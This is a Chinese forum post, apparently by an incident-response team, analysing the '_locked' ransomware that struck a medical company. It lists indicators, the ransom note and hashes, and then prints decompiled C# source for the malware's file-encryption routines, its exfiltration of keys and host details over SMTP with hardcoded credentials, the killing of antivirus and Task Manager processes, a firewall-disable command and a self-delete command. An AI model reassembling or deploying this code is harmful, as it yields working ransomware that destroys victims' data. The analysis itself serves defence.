首页
社区
课程
招聘
[原创]【病毒分析】中国人不骗中国人?_locked勒索病毒分析
发表于: 2024-7-2 15:53 5588

[原创]【病毒分析】中国人不骗中国人?_locked勒索病毒分析

2024-7-2 15:53
5588

1.背景

近期,Solar团队应某医疗公司的请求提供援助,该公司的计算机服务器受到了_locked勒索病毒的侵害,所有的文件被加密并且添加了_locked后缀,并且释放了中文勒索信,留下了支付宝收款码作为勒索赎金支付通道,通过我们的应急响应团队进行深入的溯源调查,应客户的要求,本文暂未提供对入侵溯源的分析报告内容,仅提供该勒索病毒加密器的逆向分析报告。

2.溯源分析

2.1 恶意行为

  执行后会释放以下三个文件:

  • libadvpack.dll
  • 重要資訊.txt
  • 收款碼<时间>.jpg

访问外部链接:

  • api.ipify.org #用于获取互联网IP
  • smtp-mail.outlook.com #用于smtp发件
  • 104.26.13.205 #CDN
  • 52.98.54.134 #CDN

2.2 溯源流程

对收款码进行溯源,账号属于一位年长女性,判断应该为通过渠道购买的黑号。

Tips:使用支付宝付款的时候,选择四大行以外的银行卡进行转账,然后再通过该银行的APP进行转账明细查询,大部分可以看到对方的真实名字。

逆向加密器,会发现加密信息通过SMTP协议发送邮件至黑客匿名邮箱,由于SMTP协议是发件协议,因此即使能够登陆也无法查看已发邮件。

修改发件、收件地址后会收到以下邮件,包含计算机的基本信息、机密文件数量以及密码,由于此outlook邮箱的辅助邮箱为匿名注册邮箱,故无法通过该线索继续溯源。

3.恶意文件基础信息

3.1 加密器基本信息

大小

404480(395.00 KiB)

操作系统

Windows(2000)

架构

I386

模式

32 位

类型

GUI

字节序

LE

MD5

1edc74dee16a67e94512c59d899b63bd

SHA256

0566ce83e0ab2b58f5247845d5ae075e5f046d7eb49bb019c9a4aead8337a5cf

3.2 勒索信

注意!

你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。

恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。

想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。

為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com

並免費解密一個檔案。但是這個檔應該沒有價值!

警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。

請注意!!!解密工具在24小時內的時間內可用。你的個人id是:

=================================================================================

R1AyMTB3ZnZ4MExuOTZaUWk5WVdXV2ZwSzZyR0tPSzZSWVNOYzdZWnhaMTZEZ0poMmJWK1BxMkFWcnZXWlFNS3NwL1lNcEFLVVpYNW9ibDVTUXFadHJIZmc2TFVsMGFqQjV5dHd2YXJoRmhxUTdtSk5QNi9XQi83ek9MUVJCYWc5b0NoMm1JVy9sREtqallqaW52RnN2RVFjVXE4bmpEK2lVWnJWK1B1NWlHRkhGTVZaMGF2bnQ5T2REK1E0Zm56MEpYSTUvK0dDQk04WnZGMU5ZcUgvV2tHSHZmdXc4eEpGSTd0TzNjSkhBRzd2OGpYVEI0QnNKb0FBUEVVWC9wcUpBMFFqeGFvMmk5ck94Yms5QjhxQXhTeXBmVExyeEtjS2orWDdVekUzcHo2U3RYMWMwZ2dpcUI0UFBmRlN4bUZkR05vUmVTTVN6Vm5GMEhPNGFWbTgxMEJJc3AvVEJUWE04NVJteWg4MXpYRUY1RmsrbnYxZTBHSVBDMkFUR3NIbFA5cE1oYVBhVFB4L28rUENvN2lGekRZQXh2bDBPdG94S2Q2ZnB2ZlFuUmI4cXhLcjZPTzBZbDYxR1pLcnFEZU1EeGNVems2RURITWFtaldhZERLN2NYNEhQcWJCRTNqYVE1L215M0x5TEZTa3N2cTRWdnk1UTJzOThhd1p3VW4=

3.3 勒索图片

4.恶意文件分析

4.1 威胁分析

病毒家族

Locked(疑似国内)

首次出现时间/捕获分析时间

2024/01/18 || 2024/03/12

威胁类型

勒索软件,加密病毒

加密文件扩展名

.locked

勒索信文件名

重要資訊.txt

有无免费解密器?

联系邮箱

ac7d33419d00c1d9@tutanota.com

检测名称

Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))

感染症状

无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。

感染方式

受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接

受灾影响

所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

4.2加密前后对比

加密的测试文件为1.txt,具体内容如下:

经过木马加密之后如下:

文件后缀加了_locked,文件大小不变,运行多次加密木马加密同一文件之后,由于id不同,加密后的文件内容也不相同。

5.逆向分析

文件本身为.NET程序,但是使用了.NET Reactor(4.5-4.7)进行了保护,使用工具去掉保护。

使用工具de4dot_mod(https://github.com/HongThatCong/de4dot_mod)去掉.NET Reactor(4.5-4.7)保护。

5.1 去掉保护的文件信息

大小

262144(256.00 KiB)

操作系统

Windows(95)

架构

I386

模式

32 位

类型

GUI

字节序

LE

MD5

c1c8e31ec3e906c026644034b27d5ce7

SHA256

278886a3ca2ac8669fca57eeb2ad3db17f7878a3865e1852a23655330406fb23

.NET(v4.0.30319)[-]

链接程序

Microsoft Linker(6.0)[GUI32]

5.2 .NET逆向分析

5.2.1 函数Base64ToImage

将Base64编码的图像数据转换为图像文件并保存到指定路径的方法,输出收款码保存在桌面。

public static bool Base64ToImage(string base64, string userName)
 {
     try
     {
         base64 = base64.Replace("", "").Replace("data:image/jgp;base64,", "").Replace("data:image/jpg;base64,", "")
             .Replace("", "");
         byte[] buffer = Convert.FromBase64String(base64);
         MemoryStream stream = new MemoryStream(buffer);
         Image original = Image.FromStream(stream);
         Bitmap bitmap = new Bitmap(original);
         bitmap.Save("C:/Users/" + userName + "/Desktop/收款碼" + DateTime.Now.ToString("yyyyMMddHHss") + ".jpg", ImageFormat.Jpeg);
         return true;
     }
     catch (SmtpException)
     {
         return false;
     }
 }

5.2.2 函数CreatePassword

CreatePassword 方法用于生成指定长度的随机密码。它使用 StringBuilder 来高效地构建密码,通过从小写字母、大写字母和数字(0-9)的集合中随机选择字符来生成密码。

public static string CreatePassword(int length)
 {
     StringBuilder stringBuilder = new StringBuilder();
     Random random = new Random();
     while (0 < length--)
     {
         stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".Length)]);
     }
     return stringBuilder.ToString();
 }

5.2.3 函数GetHardDiskSerialNumber

这段代码是用于获取硬盘序列号的方法。该方法使用 System.Management 命名空间,通过查询 Win32_PhysicalMedia 类来获取物理媒体(硬盘)的相关信息。

 using System.Management;

 public static string GetHardDiskSerialNumber()
 {
     ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMedia");
     string result = "";
     using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator())
     {
         if (managementObjectEnumerator.MoveNext())
         {
             ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current;
             result = managementObject["SerialNumber"].ToString().Trim();
         }
     }
     return result;
 }

5.2.4 函数GetHardDiskSpace

这段代码是用于获取指定硬盘的总可用空间的方法。

public static long GetHardDiskSpace(string str_HardDiskName)
 {
     long result = 0L;
     str_HardDiskName += ":\\";
     DriveInfo[] drives = DriveInfo.GetDrives();
     DriveInfo[] array = drives;
     foreach (DriveInfo driveInfo in array)
     {
         if (driveInfo.Name == str_HardDiskName)
         {
             result = driveInfo.TotalFreeSpace / 1048576L;
         }
     }
     return result;
 }

5.2.5 函数Log

日志函数。

public static void Log(string message)
 {
     if (string.IsNullOrEmpty(Settables.LOGURL))
     {
         return;
     }
     string text = Environment.MachineName + "-" + Environment.UserName + " : " + message;
     string urlString = Settables.LOGURL + text;
     if (!penetratedFirewall)
     {
         return;
     }
     using WebBrowser webBrowser = new WebBrowser();
     webBrowser.Navigate(urlString);
     while (webBrowser.ReadyState != WebBrowserReadyState.Complete)
     {
         Application.DoEvents();
     }
 }

5.2.6 函数PenetrateFirewall

检测是否可以连接互联网,若访问http://www.websitetest.com/失败则关闭防火墙。

public static bool PenetrateFirewall()
 {
     using WebClient webClient = new WebClient();
     try
     {
         webClient.DownloadString("http://www.websitetest.com/");
         return true;
     }
     catch
     {
         try
         {
             Process process = new Process();
             ProcessStartInfo processStartInfo = new ProcessStartInfo();
             processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
             processStartInfo.FileName = "cmd.exe";
             processStartInfo.Arguments = "netsh firewall set opmode disable";
             process.StartInfo = processStartInfo;
             process.Start();
             process.WaitForExit();
             return true;
         }
         catch
         {
             return false;
         }
     }
 }

5.2.7 函数SendEmail

过SMTP发送电子邮件的方法。

public static bool SendEmail(string mailTo, string mailTitle, string mailContent)
 {
     string host = "smtp-mail.outlook.com";
     string text = "ca89a16780424771@outlook.com";
     string password = "b418345887e598be";
     SmtpClient smtpClient = new SmtpClient();
     smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
     smtpClient.Host = host;
     smtpClient.EnableSsl = true;
     smtpClient.UseDefaultCredentials = true;
     smtpClient.Credentials = new NetworkCredential(text, password);
     MailMessage mailMessage = new MailMessage(text, mailTo);
     mailMessage.Subject = mailTitle;
     mailMessage.Body = mailContent;
     mailMessage.BodyEncoding = Encoding.UTF8;
     mailMessage.IsBodyHtml = false;
     mailMessage.Priority = MailPriority.Normal;
     string text2 = "c:\\temp\\libadvpack.dll";
     Attachment attachment = new Attachment(text2);
     attachment.Name = Path.GetFileName(text2);
     attachment.NameEncoding = Encoding.GetEncoding("gb2312");
     attachment.TransferEncoding = TransferEncoding.Base64;
     attachment.ContentDisposition.Inline = true;
     attachment.ContentDisposition.DispositionType = "inline";
     _ = attachment.ContentId;
     mailMessage.Attachments.Add(attachment);
     try
     {
         smtpClient.Send(mailMessage);
         return true;
     }
     catch (SmtpException)
     {
         return false;
     }
 }

5.2.8 函数smethod_0

用于获取当前设备的公共IP地址的方法。

public static string smethod_0()
 {
     try
     {
         using WebClient webClient = new WebClient();
         string text = webClient.DownloadString("https://api.ipify.org");
         return "ip:" + text;
     }
     catch
     {
         return "";
     }
 }

5.2.9 函数messageCreator

创建勒索文本与勒索文件,其中method_3函数返回勒索图片对应的base64编码。

public void messageCreator(string setpasth, string setstr)
 {
     try
     {
         string[] contents = new string[19]
         {
             "注意!", "", "你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。", "", "恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。", "", "想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。", "", "為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com", "",
             "並免費解密一個檔案。但是這個檔應該沒有價值!", "", "警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。", "", "請注意!!!解密工具在24小時內的時間內可用。你的個人id是:", "", "=================================================================================", "", setstr
         };
         string text = "\\重要資訊.txt";
         string path = setpasth + text;
         File.WriteAllLines(path, contents);
         Common.Base64ToImage(method_3(), string_1);
     }
     catch (SystemException ex)
     {
         Common.Writelog("messageCreator=" + ex.Message);
     }
 }

5.2.10 函数startAction

在程序中使用base64编码存放了RSA公钥,提取可得。

-----BEGIN CERTIFICATE-----
PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVK
a2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09i
L3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FR
amYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNI
Yz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFs
dWU+
-----END CERTIFICATE-----
public void startAction()
 {
     try
     {
         KillProces360();
         string text = string_5 + "LOCK" + string_6;
         byte[] bytes = Convert.FromBase64String("PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVKa2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09iL3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FRamYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNIYz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+");
         string @string = Encoding.Default.GetString(bytes);
         string s = Encrypts.RsaEncrypt(text, @string);
         byte[] bytes2 = Encoding.UTF8.GetBytes(s);
         s = Convert.ToBase64String(bytes2);
         Common.WritePasswdlog(s);
         string text2 = "\\Desktop\\";
         string text3 = "\\Downloads\\";
         string text4 = "\\Documents\\";
         string text5 = "\\Pictures\\";
         string text6 = string_3 + string_1 + text2;
         string text7 = string_3 + string_1 + text3;
         string text8 = string_3 + string_1 + text4;
         string text9 = string_3 + string_1 + text5;
         Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + "," + Common.smethod_0() + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
         string[] logicalDrives = Directory.GetLogicalDrives();
         string[] array = logicalDrives;
         foreach (string text10 in array)
         {
             if (text10 == "C:\\")
             {
                 encryptDirectory(text6, text);
                 encryptDirectory(text7, text);
                 encryptDirectory(text8, text);
                 encryptDirectory(text9, text);
                 messageCreator(text6, s);
                 messageCreator(text7, s);
                 messageCreator(text8, s);
                 messageCreator(text9, s);
             }
             if (text10 != "C:\\")
             {
                 encryptDirectory(text10, text);
                 messageCreator(text10, s);
             }
         }
         Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
         text = null;
         selfDestroy();
         Application.Exit();
     }
     catch (SystemException ex)
     {
         Common.Writelog("startAction=" + ex.Message);
     }
 }

5.2.11 函数KillProces360

此函数的目标是终止与360安全卫士(360 Total Security)相关的进程,包括360tray.exe360sd.exe360rps.exe360rp.exeeptray.exe。下文代码仅保留了关键逻辑。

// Gendarmerie_B.V._3.GendarmerieForm
 using System;
 using System.Diagnostics;

 public void KillProces360()
 {
     Process[] processesByName = Process.GetProcessesByName("360tray.exe");
     Process[] processesByName2 = Process.GetProcessesByName("360sd.exe");
     Process[] processesByName3 = Process.GetProcessesByName("360rps.exe");
     Process[] processesByName4 = Process.GetProcessesByName("360rp.exe");
     Process[] processesByName5 = Process.GetProcessesByName("eptray.exe");
     Process[] array = processesByName;
     foreach (Process process in array) process.Kill();
     array = processesByName2;
     foreach (Process process in array) process.Kill();
     array = processesByName3;
     foreach (Process process in array) process.Kill();
     array = processesByName4;
     foreach (Process process in array) process.Kill();
     array = processesByName5;
     foreach (Process process in array) process.Kill();
 }

5.2.12 函数KillProcesstaskmgr

关闭任务管理器进程。

public void KillProcesstaskmgr()
 {
     Process[] processesByName = Process.GetProcessesByName("taskmgr");
     Process[] array = processesByName;
     foreach (Process process in array) process.Kill();
 }

5.2.13 函数encryptDirectory

对指定目录下的文件进行加密,source 数组包含了要考虑加密的文件扩展名列表,除一些系统目录,如 "Windows"、"Program Files" 和 "Program Files (x86)",排除文件重要資訊.txt

对文件调用不同的加密方式:

  • 检查硬盘空间是否充足、文件大小是否小于等于50MB,若满足则调用EncryptFile
  • 检查硬盘空间是否充足、文件大小是否大于50MB,若满足则调用AES_big_Encrypt
// Gendarmerie_B.V._3.GendarmerieForm
 using System;
 using System.IO;
 using System.Linq;

 public void encryptDirectory(string location, string password)
 {
     try
     {
         string[] source = new string[474]
         {
             "", ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg",
             ".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html",
             ".xml", ".psd", ".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv",
             ".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".bak", ".t13", ".t12", ".qdf",
             ".gdb", ".tax", ".pkpass", ".bc6", ".dat", ".def", ".bc7", ".bkp", ".qic", ".bkf",
             ".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup",
             ".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov",
             ".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm",
             ".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk",
             ".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc",
             ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx",
             ".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk",
             ".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet",
             ".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c",
             ".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw",
             ".pef", ".ptx", ".r3d", ".rw2", ".rwl", ".raw", ".raf", ".orf", ".nrw", ".mrwref",
             ".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw",
             ".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd",
             ".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb",
             ".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".wps", ".docm", ".odb",
             ".odc", ".odm", ".odp", ".ods", ".odt", ".cs", ".lnk", ".mpeg", ".mp3", ".mkv",
             ".divx", ".ogg", ".zip", ".wav", ".bat", ".index", ".shp", ".gdbtable", ".gdbindexes", ".pos",
             ".gps", ".ipynb", ".rdata", ".rda", ".atx", ".gdb", ".spx", "rde", ".rrd", ".img",
             ".mxd", ".rm", ".mid", ".rtf", ".tif", ".gif", ".pic", ".aif", ".au", ".ram",
             ".mmf", ".amr", ".aac", ".flac", ".mpg", ".swf", ".dll", ".int", ".com", ".c",
             ".asm", ".for", ".lib", ".lst", ".msg", ".obj", ".pas", ".wki", ".bas", ".java",
             ".dot", ".abk", ".aps", ".ace", ".art", ".au", ".avr", ".class", ".cls", ".dcm",
             ".dxf", ".m4v", ".mpp", ".pcm", ".tiff", ".jio", ".dbb", ".aid", ".cpx", ".jiff",
             ".vod", ".njx", ".pcb", ".pm5", ".ps", ".pub", ".vbs", ".out", ".ofd", ".idf",
             ".rep", ".exb", ".sea", ".wrl", ".dwf", ".max", ".vsd", ".skp", ".jssx", ".arc",
             ".config", ".fcpx", ".avb", ".mb", ".ma", ".blend", ".r", ".qbw", ".qbb", ".ofx",
             ".qfx", ".qif", ".plt", ".seq", ".prj", ".m", ".h", ".c", ".cpp", ".cpp",
             ".gdf", ".exe", ".tsp", ".au", ".vmdk", ".nvram", ".pvm", ".vmx", ".sesx", ".logicx",
             ".rvt", ".ifc", ".sldprt", ".sldasm", ".rmvb", ".rm", ".m3u8", ".ms16", ".ms15", ".ms14",
             ".ms13", ".ms12", ".ms11", ".ms10", ".ms9", ".ms8", ".ms7", ".asc", ".neu", ".net",
             ".cam", ".min", ".pcbdoc", ".tgz", ".xlxs", ".mat", ".crm", ".plc", ".egd", ".dsn",
             ".brd", ".cir", ".prt", ".drw", ".asm", ".frm", ".mfg", ".sec", ".cat", ".catp",
             ".catpart", ".catporduct", ".catdrawing", ".catshape", ".catanalysis", ".scada", ".step", ".stp", ".igs", ".ipt",
             ".cgr", ".req", ".res", ".gra", ".hm", ".db", ".emat", ".esav", ".rst", ".rth",
             ".rmg", ".out", ".snn", ".pm", ".t", ".xsr", ".gen", ".mgb", ".gts", ".mcb",
             ".emf", ".nc", ".cnc", ".bd1", ".bd2", ".bd3", ".bf1", ".bf2", ".bf3", ".bmk",
             ".fn", ".dxf", ".zmx", ".zar", ".zda", ".edu", ".lab", ".sage", ".mw", ".lg4",
             ".lng", ".ldt", ".ltf", ".lgr", ".tps", ".sav", ".sps", ".cds", ".cdx", ".cdxml",
             ".chm", ".d", ".prproj", ".pre", ".aln", ".bw", ".inp", ".xdr", ".pug", ".spm",
             ".lvm", ".tdms", ".es3", ".ebs3", ".edat3", "emrg3", "epk3", ".es2", ".ebs2", ".edat2",
             ".emrg2", ".kdy", ".ufd", ".kdb", ".kdbx", ".kf5", ".qkg", ".kdb33", ".nc", ".u8",
             ".fd", ".bqy", ".ad", ".dgn", ".ttxt", ".3dm", ".zpr", ".cpt", ".onenote", ".note",
             ".enex", ".md", ".edi", ".vcard"
         };
         string[] array = location.Split(':');
         long hardDiskSpace = Common.GetHardDiskSpace(array[0].ToString());
         string[] files = Directory.GetFiles(location);
         string[] directories = Directory.GetDirectories(location);
         for (int i = 0; i < files.Length; i++)
         {
             KillProcesstaskmgr();
             KillProces360();
             string extension = Path.GetExtension(files[i]);
             if (source.Contains(extension.ToLower()))
             {
                 FileInfo fileInfo = new FileInfo(files[i]);
                 long num = fileInfo.Length / 1048576L;
                 if (hardDiskSpace >= 0L && num <= 50L && fileInfo.Name != "重要資訊.txt")
                 {
                     Encrypts.EncryptFile(files[i], password);
                     int_1++;
                 }
                 if (hardDiskSpace >= 0L && num > 50L && fileInfo.Name != "重要資訊.txt")
                 {
                     Encrypts.AES_big_Encrypt(files[i], password);
                     int_1++;
                 }
             }
         }
         for (int i = 0; i < directories.Length; i++)
         {
             if (!directories[i].Contains("Windows") && !directories[i].Contains("Program Files") && !directories[i].Contains("Program Files (x86)"))
             {
                 encryptDirectory(directories[i], password);
             }
         }
     }
     catch (SystemException ex)
     {
         Common.Writelog("encryptDirectory=" + ex.Message);
     }
 }

5.2.14 函数EncryptFile&AES_big_Encrypt

  1. EncryptFile 方法:

    1. 从指定文件中读取字节内容
    2. 将密码字符串转换为字节数组,并对其进行 SHA-256 哈希处理
    3. 使用 smethod_0 方法对文件内容进行 AES 加密
    4. 将加密后的字节数据写回原始文件,并在文件名末尾添加扩展名 "._locked"
  2. AES_big_Encrypt 方法:

    1. 生成一个随机的 salt(盐)值
    2. 创建一个新的文件流,并将 salt 写入文件开头。
    3. 将密码字符串转换为字节数组,并使用 PBKDF2 算法生成密钥和 IV
    4. 使用密钥和 IV 对文件内容进行 AES 加密,并将加密后的数据写入文件
public static void EncryptFile(string file, string password)
 {
     byte[] byte_ = File.ReadAllBytes(file);
     byte[] bytes = Encoding.UTF8.GetBytes(password);
     bytes = SHA256.Create().ComputeHash(bytes);
     byte[] bytes2 = smethod_0(byte_, bytes);
     try
     {
         File.WriteAllBytes(file, bytes2);
         string text = "._locked";
         File.Move(file, file + text);
     }
     catch (Exception)
     {
     }
 }
 private static byte[] smethod_0(byte[] byte_0, byte[] byte_1)
 {
     byte[] result = null;
     byte[] salt = new byte[8] { 1, 1, 2, 2, 3, 3, 4, 4 };
     using (MemoryStream memoryStream = new MemoryStream())
     {
         using RijndaelManaged rijndaelManaged = new RijndaelManaged();
         rijndaelManaged.KeySize = 256;
         rijndaelManaged.BlockSize = 128;
         Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000);
         rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
         rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
         rijndaelManaged.Mode = CipherMode.CBC;
         using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
         {
             cryptoStream.Write(byte_0, 0, byte_0.Length);
             cryptoStream.Close();
         }
         result = memoryStream.ToArray();
     }
     return result;
 }
 public static void AES_big_Encrypt(string inputFile, string password)
 {
     byte[] array = GenerateRandomSalt();
     FileStream fileStream = new FileStream(inputFile + "._locked", FileMode.Create);
     byte[] bytes = Encoding.UTF8.GetBytes(password);
     RijndaelManaged rijndaelManaged = new RijndaelManaged();
     rijndaelManaged.KeySize = 256;
     rijndaelManaged.BlockSize = 128;
     rijndaelManaged.Padding = PaddingMode.PKCS7;
     Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
     rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
     rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
     rijndaelManaged.Mode = CipherMode.CFB;
     fileStream.Write(array, 0, array.Length);
     CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
     FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
     byte[] array2 = new byte[1048576];
     try
     {
         int count;
         while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
         {
             Application.DoEvents();
             cryptoStream.Write(array2, 0, count);
         }
         fileStream2.Close();
     }
     catch (Exception)
     {
     }
     finally
     {
         cryptoStream.Close();
         fileStream.Close();
         File.Delete(inputFile);
     }
 }

5.2.15 函数RsaEncrypt

这段代码实现了使用 RSA 公钥对输入数据进行加密的功能。

public static string RsaEncrypt(string rawInput, string publicKey)
 {
     if (string.IsNullOrEmpty(rawInput))
     {
         return string.Empty;
     }
     if (string.IsNullOrWhiteSpace(publicKey))
     {
         throw new ArgumentException("Invalid Public Key");
     }
     using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider();
     byte[] bytes = Encoding.UTF8.GetBytes(rawInput);
     rSACryptoServiceProvider.FromXmlString(publicKey);
     int num = rSACryptoServiceProvider.KeySize / 8 - 11;
     byte[] array = new byte[num];
     using MemoryStream memoryStream = new MemoryStream(bytes);
     using MemoryStream memoryStream2 = new MemoryStream();
     while (true)
     {
         int num2 = memoryStream.Read(array, 0, num);
         if (num2 <= 0)
         {
             break;
         }
         byte[] array2 = new byte[num2];
         Array.Copy(array, 0, array2, 0, num2);
         byte[] array3 = rSACryptoServiceProvider.Encrypt(array2, fOAEP: false);
         memoryStream2.Write(array3, 0, array3.Length);
     }
     return Convert.ToBase64String(memoryStream2.ToArray());
 }

5.2.16 对象GendarmerieForm的初始函数

初始化了相关的配置信息。

public GendarmerieForm()
 {
     Class3.KCdZb3Mzn9Yjk();
     int_0 = 30;
     int_1 = 0;
     string_0 = "http://127.0.0.1/Server/write.php";
     string_1 = smethod_0();
     string_2 = Environment.MachineName.ToString();
     string_3 = "C:\\Users\\";
     string_4 = "http://127.0.0.1/Server/ranso2.jpg";
     string_5 = Common.CreatePassword(255);
     string_6 = Common.GetHardDiskSerialNumber();
     icontainer_0 = null;
     base..ctor();
     vunlKygwQ();
 }

5.2.17 函数selfDestroy

自毁函数,用于删除当前正在运行的应用程序的可执行文件。

public void selfDestroy()
 {
     ProcessStartInfo processStartInfo = new ProcessStartInfo();
     processStartInfo.Arguments = "/C timeout 2 && Del /Q /F " + Application.ExecutablePath;
     processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
     processStartInfo.CreateNoWindow = true;
     processStartInfo.FileName = "cmd.exe";
     Process.Start(processStartInfo);
 }

5.2.18 函数SendPassword

向指定域名发送相关信息。

public void SendPassword(string password)
 {
     try
     {
         string text = "?computer_name=" + string_2 + "&userName=" + string_1 + "&password=" + password + "&allow=ransom";
         string address = string_0 + text;
         new WebClient().DownloadString(address);
     }
     catch (Exception)
     {
     }
 }

6.病毒分析概览

木马从startAction函数启动,首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密之后即为私人i,调用成员函数encryptDirectory加密目录以及子目录,函数中拥有一个白名单,只有在白名单中的后缀文件才会被加密,同时排除了系统关键目录与勒索信的加密。

根据文件的大小选择不同的加密方式调用EncryptFile或者AES_big_Encrypt函数进行加密,同时木马会进行网络通信,向相关域名发送加密的有关信息,虽然在分析时存在自删除代码,但是实际运行时并没有触发自删除。

7.总结

程序本身的逆向难度不大,仅使用了ReactorC#程序进行了保护,解除保护后,程序的逻辑无混淆与任何其他保护

